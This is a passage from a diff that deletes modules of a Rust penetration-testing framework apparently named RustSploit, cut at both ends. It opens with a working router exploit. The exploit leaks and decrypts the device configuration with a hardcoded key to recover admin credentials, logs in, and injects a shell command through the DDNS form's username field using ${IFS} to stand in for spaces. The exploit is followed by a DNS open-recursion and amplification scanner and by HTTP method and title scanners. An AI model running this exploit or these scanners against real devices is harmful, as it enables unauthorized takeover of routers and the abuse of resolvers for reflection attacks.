.unwrap_or("unknown")
.to_string();
fs::remove_file("config.bin").ok();
fs::remove_file("decrypted.xml").ok();
println!("[+] Decrypted credentials: {} / {}", username, password);
Ok((username, password))
}
/// Perform login
async fn login(session: &Client, host: &str, port: u16, username: &str, password: &str) -> Result<()> {
println!("[*] Logging in to http://{}:{}/ ...", host, port);
let url = format!("http://{}:{}/", host, port);
let page = session.get(&url).send().await?.text().await?;
let token = page.split("getObj(\"Frm_Logintoken\").value = \"").nth(1)
.and_then(|s| s.split('"').next())
.ok_or_else(|| anyhow::anyhow!("Login token not found"))?;
let params = [
("Username", username),
("Password", password),
("frashnum", ""),
("Frm_Logintoken", token),
];
session.post(&url).form(&params).send().await?;
println!("[+] Login submitted.");
Ok(())
}
/// Logout
async fn logout(session: &Client, host: &str, port: u16) -> Result<()> {
let url = format!("http://{}:{}/", host, port);
session.post(&url).form(&[("logout", "1")]).send().await?;
println!("[*] Logged out.");
Ok(())
}
/// Command injection payload generator
fn command_injection(cmd: &str) -> String {
let inj = format!("user;{};echo", cmd);
inj.replace(" ", "${IFS}")
}
/// Abuse DDNS form to inject command
async fn set_ddns(session: &Client, host: &str, port: u16, payload: &str) -> Result<()> {
let url = format!(
"http://{}:{}/getpage.gch?pid=1002&nextpage=app_ddns_conf_t.gch",
host, port
);
let form = [
("IF_ACTION", "apply"), ("Name", "dyndns"),
("Server", "http://www.dyndns.com/"), ("Username", payload),
("Password", "password"), ("Interface", "IGD.WD1.WCD3.WCIP1"),
("DomainName", "hostname"), ("Service", "dyndns"),
("Name0", "dyndns"), ("Server0", "http://www.dyndns.com/"),
("ServerPort0", "80"), ("UpdateInterval0", "86400"),
("RetryInterval0", "60"), ("MaxRetries0", "3"),
("Name1", "No-IP"), ("Server1", "http://www.noip.com/"),
("ServerPort1", "80"), ("UpdateInterval1", "86400"),
("RetryInterval1", "60"), ("MaxRetries1", "3"),
("Enable", "1"), ("HostNumber", "")
];
println!("[*] Sending command injection payload...");
session.post(&url).form(&form).send().await?;
println!("[+] Payload delivered.");
Ok(())
}
/// Exploit wrapper
async fn exploit(config_key: &[u8], host: &str, port: u16) -> Result<()> {
let cookie_jar = Arc::new(Jar::default());
let session = Client::builder()
.cookie_provider(cookie_jar)
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(10)) // ⏱️ HTTP timeout
.build()?;
leak_config(host, port)?;
let (username, password) = decrypt_config(config_key)?;
login(&session, host, port, &username, &password).await?;
let payload = command_injection("echo hacked > /var/tmp/pwned");
set_ddns(&session, host, port, &payload).await?;
logout(&session, host, port).await?;
println!("[✓] Exploit complete.");
Ok(())
}
/// Dispatch entry point
pub async fn run(target: &str) -> Result<()> {
let (host, port) = parse_target(target)?;
let config_key = b"Renjx%2$CjM";
match exploit(config_key, &host, port).await {
Ok(_) => {
println!("[*] Success on {}:{}", host, port);
Ok(())
}
Err(e) => {
println!("[!] Exploit failed: {}", e);
Err(e)
}
}
}
-3
View File
@@ -1,3 +0,0 @@
pub mod exploits;
pub mod scanners;
pub mod creds;
-635
View File
@@ -1,635 +0,0 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use rand::Rng;
use std::collections::HashSet;
use std::fs::File;
use std::io::{self, BufRead, BufReader, Write};
use std::net::{IpAddr, SocketAddr, ToSocketAddrs};
use std::path::Path;
use std::time::Duration;
use trust_dns_client::client::{AsyncClient, ClientHandle};
use trust_dns_client::proto::op::ResponseCode;
use trust_dns_client::rr::{DNSClass, Name, RecordType};
use trust_dns_client::udp::UdpClientStream;
use trust_dns_proto::op::Message;
use trust_dns_proto::xfer::DnsResponse;
use tokio::net::UdpSocket;
#[derive(Clone, Debug)]
struct TargetSpec {
input: String,
host: String,
port: Option<u16>,
}
/// Scan DNS resolvers for open recursion with improved input validation.
pub async fn run(initial_target: &str) -> Result<()> {
println!("\n=== DNS Recursion & Amplification Scanner ===");
let mut targets = collect_targets(initial_target)?;
if targets.is_empty() {
return Err(anyhow!(
"No valid targets provided. Supply at least one IP/hostname."
));
}
let needs_default_port = targets.iter().any(|t| t.port.is_none());
let default_port = if needs_default_port {
prompt_port("Default DNS port for targets without port", 53)?
} else {
53
};
let default_domain = random_test_domain();
let query_name_input = prompt_default("Domain to query", &default_domain)?;
let query_name = validate_domain_input(&query_name_input)?;
let record_input =
prompt_default("Record type (A, AAAA, ANY, DNSKEY, TXT, MX)", "ANY")?;
let record_type = parse_record_type(&record_input)?;
println!(
"[*] Prepared {} query for {} across {} target(s)",
record_type,
query_name,
targets.len()
);
let name = Name::from_str_relaxed(&query_name)
.with_context(|| format!("Invalid domain name '{}'", query_name))?;
let mut any_success = false;
let mut last_error: Option<anyhow::Error> = None;
for spec in targets.drain(..) {
let port = spec.port.unwrap_or(default_port);
let display = format_endpoint(&spec.host, port);
println!(
"\n[*] Processing target {} (input: {})",
display.cyan(),
spec.input
);
match resolve_target(&spec.host, port).await {
Ok((socket_addr, resolved_display)) => {
println!("[*] Target resolver: {}", resolved_display);
match query_target(socket_addr, &resolved_display, &name, record_type).await {
Ok(()) => any_success = true,
Err(err) => {
eprintln!(
"{}",
format!("[!] Query failed for {}: {}", resolved_display, err).red()
);
last_error = Some(err);
}
}
}
Err(err) => {
eprintln!(
"{}",
format!("[!] Failed to resolve {}: {}", spec.input, err).red()
);
last_error = Some(err);
}
}
}
if any_success {
Ok(())
} else {
Err(last_error.unwrap_or_else(|| anyhow!("All targets failed.")))
}
}
async fn query_target(
socket_addr: SocketAddr,
display_target: &str,
name: &Name,
record_type: RecordType,
) -> Result<()> {
println!(
"[*] Sending {} query (timeout 5s) to {}",
record_type, display_target
);
let timeout = Duration::from_secs(5);
let stream = UdpClientStream::<UdpSocket>::with_timeout(socket_addr, timeout);
let (mut client, bg) =
AsyncClient::connect(stream).await.context("Failed to initiate DNS client")?;
tokio::spawn(bg);
let response: DnsResponse = client
.query(name.clone(), DNSClass::IN, record_type)
.await
.with_context(|| format!("DNS query to {} failed", display_target))?;
let (message, _) = response.into_parts();
report_result(&message, display_target, record_type);
Ok(())
}
fn report_result(message: &Message, display_target: &str, record_type: RecordType) {
let recursion_available = message.recursion_available();
let recursion_desired = message.recursion_desired();
let authoritative = message.authoritative();
let truncated = message.truncated();
let rcode = message.response_code();
println!();
println!(
"{}",
format!(
"[*] Response code: {:?} | Answers: {} | Authority: {} | Additional: {}",
rcode,
message.answers().len(),
message.name_servers().len(),
message.additionals().len()
)
);
if truncated {
println!("[!] Response was truncated (TC flag set).");
}
println!(
"[*] Flags: RD={} RA={} AA={}",
recursion_desired, recursion_available, authoritative
);
if recursion_available && rcode != ResponseCode::Refused {
println!(
"{}",
format!(
"[+] {} appears to allow recursion (RA flag set) for {} {} queries.",
display_target,
record_type,
if authoritative { "(authoritative data returned)" } else { "" }
)
.green()
);
println!(
"{}",
" This resolver may be abused for reflection/amplification attacks (ANY/DNSSEC)."
.yellow()
);
} else if recursion_available && rcode == ResponseCode::Refused {
println!(
"{}",
format!(
"[-] {} reports recursion available but refused the request (likely ACL protected).",
display_target
)
.yellow()
);
} else {
println!(
"{}",
format!(
"[-] {} does not appear to allow recursion (RA flag unset or query refused).",
display_target
)
.red()
);
}
}
fn parse_record_type(input: &str) -> Result<RecordType> {
match input.trim().to_uppercase().as_str() {
"A" => Ok(RecordType::A),
"AAAA" => Ok(RecordType::AAAA),
"ANY" => Ok(RecordType::ANY),
"DNSKEY" => Ok(RecordType::DNSKEY),
"TXT" => Ok(RecordType::TXT),
"MX" => Ok(RecordType::MX),
other => Err(anyhow!("Unsupported record type '{}'", other)),
}
}
async fn resolve_target(host: &str, port: u16) -> Result<(SocketAddr, String)> {
if let Ok(ip) = host.parse::<IpAddr>() {
let addr = SocketAddr::new(ip, port);
return Ok((addr, format_endpoint(host, port)));
}
let mut addrs_iter = (host, port)
.to_socket_addrs()
.with_context(|| format!("Unable to resolve '{}:{}'", host, port))?;
let addr = addrs_iter
.next()
.ok_or_else(|| anyhow!("No socket addresses resolved for '{}:{}'", host, port))?;
Ok((addr, addr.to_string()))
}
fn random_test_domain() -> String {
let mut rng = rand::rng();
let random_label: String = (0..12)
.map(|_| {
let n = rng.random_range(0..36);
if n < 10 {
(b'0' + n) as char
} else {
(b'a' + (n - 10)) as char
}
})
.collect();
format!("{}.rustsploit.test", random_label)
}
fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
io::stdout().flush()?;
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
let trimmed = buf.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else if trimmed.len() > 255 {
Err(anyhow!("Input too long"))
} else {
Ok(trimmed.to_string())
}
}
fn prompt_port(message: &str, default: u16) -> Result<u16> {
loop {
let prompt = format!("{} [{}]: ", message, default);
print!("{}", prompt);
io::stdout().flush()?;
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
let trimmed = buf.trim();
if trimmed.is_empty() {
return Ok(default);
}
if let Ok(value) = trimmed.parse::<u16>() {
if value > 0 {
return Ok(value);
}
}
println!("Please provide a valid port between 1 and 65535.");
}
}
fn prompt_line(message: &str) -> Result<String> {
print!("{}", message);
io::stdout().flush()?;
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
let trimmed = buf.trim();
if trimmed.len() > 255 {
return Err(anyhow!("Input too long (max 255 characters)."));
}
Ok(trimmed.to_string())
}
fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
let hint = if default_yes { "Y/n" } else { "y/N" };
loop {
let prompt = format!("{} [{}]: ", message, hint);
print!("{}", prompt);
io::stdout().flush()?;
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
let trimmed = buf.trim().to_lowercase();
match trimmed.as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
"stop" => return Ok(false),
_ => println!("{}", "Please answer with 'y' or 'n'.".yellow()),
}
}
}
fn collect_targets(initial: &str) -> Result<Vec<TargetSpec>> {
let mut targets = Vec::new();
let mut seen: HashSet<String> = HashSet::new();
let trimmed_initial = initial.trim();
if !trimmed_initial.is_empty() {
let added = parse_targets_from_str(trimmed_initial, "cli", &mut seen, &mut targets);
if added == 0 && Path::new(trimmed_initial).is_file() {
println!(
"{}",
format!("[*] Loading targets from file '{}'", trimmed_initial).cyan()
);
match parse_targets_from_file(trimmed_initial, &mut seen, &mut targets) {
Ok(count) => {
if count == 0 {
println!("{}", " No valid targets found in file.".yellow());
} else {
println!(
"{}",
format!(
" Loaded {} target(s) from '{}'",
count, trimmed_initial
)
.green()
);
}
}
Err(err) => {
eprintln!(
"{}",
format!(
" Failed to read '{}': {}",
trimmed_initial, err
)
.red()
);
}
}
}
}
if prompt_yes_no(
"Add additional targets manually? (type 'stop' to finish)",
targets.is_empty(),
)? {
loop {
let entry = prompt_line("Target (IP/host[:port], 'stop' to finish): ")?;
if entry.is_empty() {
continue;
}
if entry.eq_ignore_ascii_case("stop") {
break;
}
add_target_token(&entry, "interactive", &mut seen, &mut targets);
}
}
if prompt_yes_no("Load targets from file?", false)? {
loop {
let path_input = prompt_line("Path to file ('stop' to finish): ")?;
if path_input.is_empty() {
continue;
}
if path_input.eq_ignore_ascii_case("stop") {
break;
}
match parse_targets_from_file(&path_input, &mut seen, &mut targets) {
Ok(count) => {
if count == 0 {
println!(
"{}",
format!(" No valid targets parsed from '{}'", path_input).yellow()
);
} else {
println!(
"{}",
format!(
" Loaded {} target(s) from '{}'",
count, path_input
)
.green()
);
}
}
Err(err) => eprintln!(
"{}",
format!(" Failed to read '{}': {}", path_input, err).red()
),
}
}
}
Ok(targets)
}
fn parse_targets_from_str(
input: &str,
context: &str,
seen: &mut HashSet<String>,
targets: &mut Vec<TargetSpec>,
) -> usize {
let mut added = 0usize;
for token in input
.split(|c: char| c == ',' || c.is_ascii_whitespace())
.filter_map(|segment| {
let trimmed = segment.trim();
if trimmed.is_empty() {
None
} else {
Some(trimmed)
}
})
{
if add_target_token(token, context, seen, targets) {
added += 1;
}
}
added
}
fn parse_targets_from_file(
path: &str,
seen: &mut HashSet<String>,
targets: &mut Vec<TargetSpec>,
) -> Result<usize> {
let file = File::open(path)
.with_context(|| format!("Failed to open target file '{}'", path))?;
let reader = BufReader::new(file);
let mut added = 0usize;
for (idx, line) in reader.lines().enumerate() {
let line = line?;
let content = line.split('#').next().unwrap_or("").trim();
if content.is_empty() {
continue;
}
let ctx = format!("file:{}:{}", path, idx + 1);
added += parse_targets_from_str(content, &ctx, seen, targets);
}
Ok(added)
}
fn add_target_token(
token: &str,
context: &str,
seen: &mut HashSet<String>,
targets: &mut Vec<TargetSpec>,
) -> bool {
if token.eq_ignore_ascii_case("stop") {
return false;
}
match parse_target_spec(token) {
Ok(spec) => {
let key = format!("{}:{}", spec.host, spec.port.unwrap_or(0));
if seen.insert(key) {
println!(
"{}",
format!(" [{}] Added target {}", context, spec.input).cyan()
);
targets.push(spec);
true
} else {
println!(
"{}",
format!(" [{}] Duplicate target '{}' skipped", context, token).dimmed()
);
false
}
}
Err(err) => {
eprintln!(
"{}",
format!(
" [{}] Skipping invalid target '{}': {}",
context, token, err
)
.yellow()
);
false
}
}
}
fn parse_target_spec(token: &str) -> Result<TargetSpec> {
let sanitized = sanitize_target_input(token)?;
let (host, port) = split_host_port(&sanitized)?;
Ok(TargetSpec {
input: sanitized.clone(),
host: host.to_lowercase(),
port,
})
}
fn sanitize_target_input(input: &str) -> Result<String> {
let trimmed = input.trim();
if trimmed.is_empty() {
return Err(anyhow!("Target cannot be empty"));
}
if trimmed.len() > 255 {
return Err(anyhow!(
"Target '{}' is too long (maximum 255 characters)",
trimmed
));
}
if !trimmed
.chars()
.all(|c| c.is_ascii_alphanumeric() || ".-_:[]".contains(c))
{
return Err(anyhow!(
"Target '{}' contains invalid characters. Allowed: A-Z, 0-9, '.', '-', '_', ':', '[', ']'",
trimmed
));
}
Ok(trimmed.to_string())
}
fn split_host_port(value: &str) -> Result<(String, Option<u16>)> {
if value.is_empty() {
return Err(anyhow!("Target cannot be empty"));
}
if let Ok(addr) = value.parse::<SocketAddr>() {
return Ok((addr.ip().to_string(), Some(addr.port())));
}
if value.starts_with('[') {
let end = value
.find(']')
.ok_or_else(|| anyhow!("Malformed IPv6 target '{}': missing ']'", value))?;
let host = value[1..end].to_string();
if value.len() == end + 1 {
return Ok((host, None));
}
if !value[end + 1..].starts_with(':') {
return Err(anyhow!(
"Malformed IPv6 target '{}': expected ':' after ']'",
value
));
}
let port_part = &value[end + 2..];
if port_part.is_empty() {
return Err(anyhow!("Missing port after IPv6 address in '{}'", value));
}
let port = port_part
.parse::<u16>()
.with_context(|| format!("Invalid port '{}' in target '{}'", port_part, value))?;
if port == 0 {
return Err(anyhow!("Port must be between 1 and 65535"));
}
return Ok((host, Some(port)));
}
if value.ends_with(':') {
return Err(anyhow!(
"Invalid target '{}': trailing ':' without port",
value
));
}
let colon_count = value.matches(':').count();
if colon_count == 1 {
let idx = value.rfind(':').unwrap();
let host_part = &value[..idx];
let port_part = &value[idx + 1..];
if host_part.is_empty() {
return Err(anyhow!("Host cannot be empty in target '{}'", value));
}
if !port_part.chars().all(|c| c.is_ascii_digit()) {
return Err(anyhow!(
"Invalid port '{}' in target '{}'",
port_part,
value
));
}
let port = port_part
.parse::<u16>()
.with_context(|| format!("Invalid port '{}' in target '{}'", port_part, value))?;
if port == 0 {
return Err(anyhow!("Port must be between 1 and 65535"));
}
return Ok((host_part.to_string(), Some(port)));
}
if colon_count >= 2 {
let ip = value.parse::<IpAddr>().with_context(|| {
format!(
"Invalid IPv6 address '{}' (use [addr]:port for scoped ports)",
value
)
})?;
return Ok((ip.to_string(), None));
}
Ok((value.to_string(), None))
}
fn format_endpoint(host: &str, port: u16) -> String {
match host.parse::<IpAddr>() {
Ok(IpAddr::V6(_)) => format!("[{}]:{}", host, port),
_ => format!("{}:{}", host, port),
}
}
fn validate_domain_input(input: &str) -> Result<String> {
let trimmed = input.trim();
if trimmed.is_empty() {
return Err(anyhow!("Domain cannot be empty"));
}
if trimmed.len() > 253 {
return Err(anyhow!(
"Domain '{}' is too long (maximum 253 characters)",
trimmed
));
}
let without_dot = trimmed.trim_end_matches('.');
if without_dot.is_empty() {
return Err(anyhow!("Domain cannot be empty"));
}
if without_dot
.chars()
.any(|c| !(c.is_ascii_alphanumeric() || c == '.' || c == '-' || c == '_'))
{
return Err(anyhow!(
"Domain '{}' contains invalid characters. Allowed: A-Z, 0-9, '-', '_', '.'",
trimmed
));
}
Ok(without_dot.to_lowercase())
}
-375
View File
@@ -1,375 +0,0 @@
use anyhow::{anyhow, Context, Result};
use chrono::Utc;
use reqwest::{Client, Method, StatusCode, Url};
use std::collections::HashSet;
use std::fs;
use std::io::{self, Write};
use std::time::Duration;
const METHODS: &[&str] = &[
"GET",
"POST",
"HEAD",
"OPTIONS",
"PUT",
"DELETE",
"PATCH",
"TRACE",
"CONNECT",
];
struct MethodResult {
method: &'static str,
status: Option<StatusCode>,
ok: bool,
error: Option<String>,
duration_ms: u128,
}
struct TargetResult {
target: String,
results: Vec<MethodResult>,
}
pub async fn run(initial_target: &str) -> Result<()> {
banner();
let mut targets = collect_initial_targets(initial_target);
let additional = prompt("Enter additional comma-separated targets (optional): ")?;
if !additional.is_empty() {
targets.extend(split_targets(&additional));
}
let file_path = prompt("Path to file with targets (optional): ")?;
if !file_path.is_empty() {
let file_targets = load_targets_from_file(&file_path)?;
targets.extend(file_targets);
}
let default_scheme_input = prompt("Preferred scheme (http/https, default https): ")?;
let default_scheme = match default_scheme_input.to_lowercase().as_str() {
"http" => "http",
_ => "https",
};
let use_ports = prompt_bool(
"Test via specific ports (port tunneling)? (yes/no, default no): ",
false,
)?;
let ports = if use_ports {
prompt_ports()?
} else {
Vec::new()
};
let timeout_input = prompt("Request timeout in seconds (default 10): ")?;
let timeout_secs: u64 = timeout_input
.parse()
.ok()
.filter(|val| *val > 0)
.unwrap_or(10);
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
let mut normalized = normalize_targets(targets, default_scheme);
if !ports.is_empty() {
let expanded = expand_targets_with_ports(&normalized, &ports);
if expanded.is_empty() {
println!("[!] No valid port combinations derived; continuing without port tunneling.");
} else {
normalized = expanded;
}
}
if normalized.is_empty() {
return Err(anyhow!("No valid targets provided"));
}
normalized.sort();
let client = Client::builder()
.user_agent("RustSploit-HTTP-Method-Scanner/1.0")
.timeout(Duration::from_secs(timeout_secs))
.redirect(reqwest::redirect::Policy::limited(5))
.build()
.context("Failed to build HTTP client")?;
let mut all_results = Vec::new();
for target in &normalized {
println!("\n=== Target: {} ===", target);
let mut method_results = Vec::new();
for &method_name in METHODS {
let method = Method::from_bytes(method_name.as_bytes()).unwrap_or(Method::GET);
let body = match method_name {
"POST" | "PUT" | "PATCH" => Some("RustSploit HTTP method scanner test".to_string()),
_ => None,
};
let start = std::time::Instant::now();
let response = if let Some(ref payload) = body {
client
.request(method.clone(), target)
.body(payload.clone())
.send()
.await
} else {
client.request(method.clone(), target).send().await
};
let elapsed = start.elapsed();
match response {
Ok(resp) => {
let status = resp.status();
let ok = status.is_success();
if verbose {
println!(
" [{}] {} -> {} ({:.2?})",
method_name,
target,
status,
elapsed
);
} else {
println!(" [{}] {}", method_name, status);
}
method_results.push(MethodResult {
method: method_name,
status: Some(status),
ok,
error: None,
duration_ms: elapsed.as_millis(),
});
}
Err(err) => {
if verbose {
println!(
" [{}] {} -> error: {} ({:.2?})",
method_name,
target,
err,
elapsed
);
} else {
println!(" [{}] error: {}", method_name, err);
}
method_results.push(MethodResult {
method: method_name,
status: None,
ok: false,
error: Some(err.to_string()),
duration_ms: elapsed.as_millis(),
});
}
}
}
all_results.push(TargetResult {
target: target.clone(),
results: method_results,
});
}
if save_output {
let default_name = format!(
"http_method_scan_{}.txt",
Utc::now().format("%Y%m%d_%H%M%S")
);
let output_path = prompt_with_default(
"Enter output file path (press Enter for default): ",
&default_name,
)?;
write_report(&output_path, &all_results)?;
println!("[*] Results saved to {}", output_path);
}
println!("\n[*] Scan complete.");
Ok(())
}
fn banner() {
println!(
"{}",
r#"
╔══════════════════════════════════════════════════════╗
║ HTTP METHOD CAPABILITY SCANNER ║
║ Checks support for common verbs ║
╚══════════════════════════════════════════════════════╝
"#
);
}
fn collect_initial_targets(initial_target: &str) -> Vec<String> {
let mut targets = Vec::new();
let trimmed = initial_target.trim();
if !trimmed.is_empty() && trimmed != "http_method_scanner" {
targets.extend(split_targets(trimmed));
}
targets
}
fn split_targets(input: &str) -> Vec<String> {
input
.split(|c| c == ',' || c == '\n' || c == ';')
.map(|item| item.trim().trim_end_matches('/').to_string())
.filter(|item| !item.is_empty())
.collect()
}
fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
let data = fs::read_to_string(path)
.with_context(|| format!("Failed to read target file: {}", path))?;
Ok(split_targets(&data))
}
fn normalize_targets(targets: Vec<String>, default_scheme: &str) -> Vec<String> {
let mut unique = HashSet::new();
let mut normalized = Vec::new();
for raw in targets {
let target = raw.trim();
if target.is_empty() {
continue;
}
let formatted = if target.starts_with("http://")
|| target.starts_with("https://")
|| target.contains("://")
{
target.to_string()
} else {
format!("{}://{}", default_scheme, target)
};
if unique.insert(formatted.clone()) {
normalized.push(formatted);
}
}
normalized
}
fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
let mut expanded = Vec::new();
let mut seen = HashSet::new();
for target in targets {
if let Ok(mut url) = Url::parse(target) {
for port in ports {
if url.set_port(Some(*port)).is_ok() {
let final_url = url.to_string();
if seen.insert(final_url.clone()) {
expanded.push(final_url);
}
}
}
} else {
for port in ports {
let final_url = format!("{}:{}", target, port);
if seen.insert(final_url.clone()) {
expanded.push(final_url);
}
}
}
}
expanded
}
fn prompt(message: &str) -> Result<String> {
print!("{}", message);
io::stdout().flush().context("Failed to flush stdout")?;
let mut input = String::new();
io::stdin()
.read_line(&mut input)
.context("Failed to read user input")?;
Ok(input.trim().to_string())
}
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
let default_text = if default { "yes" } else { "no" };
let input = prompt(message)?;
if input.is_empty() {
return Ok(default);
}
match input.to_lowercase().as_str() {
"y" | "yes" | "true" => Ok(true),
"n" | "no" | "false" => Ok(false),
_ => {
println!("[!] Invalid input, using default ({})", default_text);
Ok(default)
}
}
}
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
let input = prompt(message)?;
if input.is_empty() {
Ok(default.to_string())
} else {
Ok(input)
}
}
fn prompt_ports() -> Result<Vec<u16>> {
let input = prompt(
"Enter port(s) to tunnel through (comma-separated, e.g., 80,8080; leave blank to skip): ",
)?;
if input.is_empty() {
println!("[!] No ports provided; skipping port tunneling.");
return Ok(Vec::new());
}
let mut ports = Vec::new();
let mut seen = HashSet::new();
for part in input.split(|c| c == ',' || c == ';' || c == ' ') {
let trimmed = part.trim();
if trimmed.is_empty() {
continue;
}
match trimmed.parse::<u16>() {
Ok(port) => {
if seen.insert(port) {
ports.push(port);
}
}
Err(_) => println!("[!] Skipping invalid port '{}'.", trimmed),
}
}
if ports.is_empty() {
println!("[!] No valid ports parsed; skipping port tunneling.");
}
Ok(ports)
}
fn write_report(path: &str, results: &[TargetResult]) -> Result<()> {
let mut lines = Vec::new();
lines.push("HTTP Method Scanner Report".to_string());
lines.push(format!("Generated at: {}", Utc::now()));
lines.push(String::new());
for target in results {
lines.push(format!("Target: {}", target.target));
for method in &target.results {
if let Some(status) = method.status {
lines.push(format!(
" - {:<7} status: {:<5} success: {:<5} time: {} ms",
method.method,
status.as_u16(),
method.ok,
method.duration_ms
));
} else if let Some(ref error) = method.error {
lines.push(format!(
" - {:<7} error: {} time: {} ms",
method.method, error, method.duration_ms
));
}
}
lines.push(String::new());
}
fs::write(path, lines.join("\n"))
.with_context(|| format!("Failed to write report to {}", path))
}
-373
View File
@@ -1,373 +0,0 @@
use anyhow::{anyhow, Context, Result};
use chrono::Utc;
use regex::Regex;
use reqwest::{Client, StatusCode, Url};
use std::collections::HashSet;
use std::fs;
use std::io::{self, Write};
use std::time::Duration;
pub async fn run(initial_target: &str) -> Result<()> {
banner();
let mut targets = collect_initial_targets(initial_target);
let additional = prompt("Enter additional comma-separated targets (optional): ")?;
if !additional.is_empty() {
targets.extend(split_targets(&additional));
}
let file_path = prompt("Path to file with targets (optional): ")?;
if !file_path.is_empty() {
let file_targets = load_targets_from_file(&file_path)?;
targets.extend(file_targets);
}
let check_http = prompt_bool("Check HTTP (http://)? (yes/no, default yes): ", true)?;
let check_https = prompt_bool("Check HTTPS (https://)? (yes/no, default yes): ", true)?;
if !check_http && !check_https {
println!("[!] Neither HTTP nor HTTPS selected; nothing to scan.");
return Ok(());
}
let use_ports = prompt_bool(
"Test via specific ports (port tunneling)? (yes/no, default no): ",
false,
)?;
let ports = if use_ports {
prompt_ports()?
} else {
Vec::new()
};
let timeout_secs = prompt_timeout()?;
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
let mut normalized = normalize_targets(targets, check_http, check_https);
if !ports.is_empty() {
let expanded = expand_targets_with_ports(&normalized, &ports);
if expanded.is_empty() {
println!("[!] No valid port combinations derived; continuing without port tunneling.");
} else {
normalized = expanded;
}
}
if normalized.is_empty() {
return Err(anyhow!("No valid targets provided"));
}
normalized.sort();
let client = Client::builder()
.user_agent("RustSploit-HTTP-Title-Scanner/1.0")
.timeout(Duration::from_secs(timeout_secs))
.redirect(reqwest::redirect::Policy::limited(5))
.build()
.context("Failed to build HTTP client")?;
let title_re = Regex::new(r"(?is)<title\b[^>]*>(.*?)</title>")?;
let mut all_results = Vec::new();
for url in &normalized {
match fetch_title(&client, url, &title_re).await {
Ok(result) => {
if let Some(title) = &result.title {
println!("[+] {} -> {}" , url, title);
} else if let Some(status) = result.status {
println!("[+] {} -> <no title> (status: {})", url, status);
} else {
println!("[+] {} -> <no title>", url);
}
if verbose {
if let Some(status) = result.status {
println!(" Status: {}", status);
}
println!(" Duration: {} ms", result.duration_ms);
}
all_results.push(result);
}
Err(err) => {
println!("[-] {} -> error: {}", url, err);
all_results.push(TitleResult {
url: url.clone(),
status: None,
title: None,
error: Some(err.to_string()),
duration_ms: 0,
});
}
}
}
if save_output {
let default_name = format!(
"http_title_scan_{}.txt",
Utc::now().format("%Y%m%d_%H%M%S")
);
let output_path = prompt_with_default(
"Enter output file path (press Enter for default): ",
&default_name,
)?;
write_report(&output_path, &all_results)?;
println!("[*] Results saved to {}", output_path);
}
println!("\n[*] Scan complete.");
Ok(())
}
struct TitleResult {
url: String,
status: Option<StatusCode>,
title: Option<String>,
error: Option<String>,
duration_ms: u128,
}
impl TitleResult {
fn display_title(&self) -> String {
match (&self.title, &self.error) {
(Some(title), _) => title.clone(),
(None, Some(err)) => format!("error: {}", err),
(None, None) => "<no title>".to_string(),
}
}
}
async fn fetch_title(client: &Client, url: &str, title_re: &Regex) -> Result<TitleResult> {
let start = std::time::Instant::now();
let response = client.get(url).send().await.context("Request failed")?;
let status = response.status();
let text = response.text().await.unwrap_or_default();
let title = title_re
.captures(&text)
.and_then(|cap| cap.get(1))
.map(|m| sanitize_title(m.as_str()));
let duration = start.elapsed().as_millis();
Ok(TitleResult {
url: url.to_string(),
status: Some(status),
title,
error: None,
duration_ms: duration,
})
}
fn sanitize_title(raw: &str) -> String {
raw
.lines()
.map(|line| line.trim())
.filter(|line| !line.is_empty())
.collect::<Vec<_>>()
.join(" ")
.chars()
.take(200)
.collect()
}
fn collect_initial_targets(initial_target: &str) -> Vec<String> {
let mut targets = Vec::new();
let trimmed = initial_target.trim();
if !trimmed.is_empty() && trimmed != "http_title_scanner" {
targets.extend(split_targets(trimmed));
}
targets
}
fn split_targets(input: &str) -> Vec<String> {
input
.split(|c| c == ',' || c == '\n' || c == ';')
.map(|item| item.trim().trim_end_matches('/').to_string())
.filter(|item| !item.is_empty())
.collect()
}
fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
let data = fs::read_to_string(path)
.with_context(|| format!("Failed to read target file: {}", path))?;
Ok(split_targets(&data))
}
fn normalize_targets(targets: Vec<String>, check_http: bool, check_https: bool) -> Vec<String> {
let mut unique = HashSet::new();
let mut normalized = Vec::new();
for raw in targets {
let target = raw.trim();
if target.is_empty() {
continue;
}
if target.starts_with("http://") || target.starts_with("https://") {
if unique.insert(target.to_string()) {
normalized.push(target.to_string());
}
continue;
}
if check_https {
let https = format!("https://{}", target);
if unique.insert(https.clone()) {
normalized.push(https);
}
}
if check_http {
let http = format!("http://{}", target);
if unique.insert(http.clone()) {
normalized.push(http);
}
}
}
normalized
}
fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
let mut expanded = Vec::new();
let mut seen = HashSet::new();
for target in targets {
if let Ok(url) = Url::parse(target) {
for port in ports {
let mut candidate = url.clone();
if candidate.set_port(Some(*port)).is_ok() {
let final_url = candidate.to_string();
if seen.insert(final_url.clone()) {
expanded.push(final_url);
}
}
}
} else {
for port in ports {
let final_url = format!("{}:{}", target, port);
if seen.insert(final_url.clone()) {
expanded.push(final_url);
}
}
}
}
expanded
}
fn prompt(message: &str) -> Result<String> {
print!("{}", message);
io::stdout().flush().context("Failed to flush stdout")?;
let mut input = String::new();
io::stdin()
.read_line(&mut input)
.context("Failed to read user input")?;
Ok(input.trim().to_string())
}
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
let default_text = if default { "yes" } else { "no" };
let input = prompt(message)?;
if input.is_empty() {
return Ok(default);
}
match input.to_lowercase().as_str() {
"y" | "yes" | "true" => Ok(true),
"n" | "no" | "false" => Ok(false),
_ => {
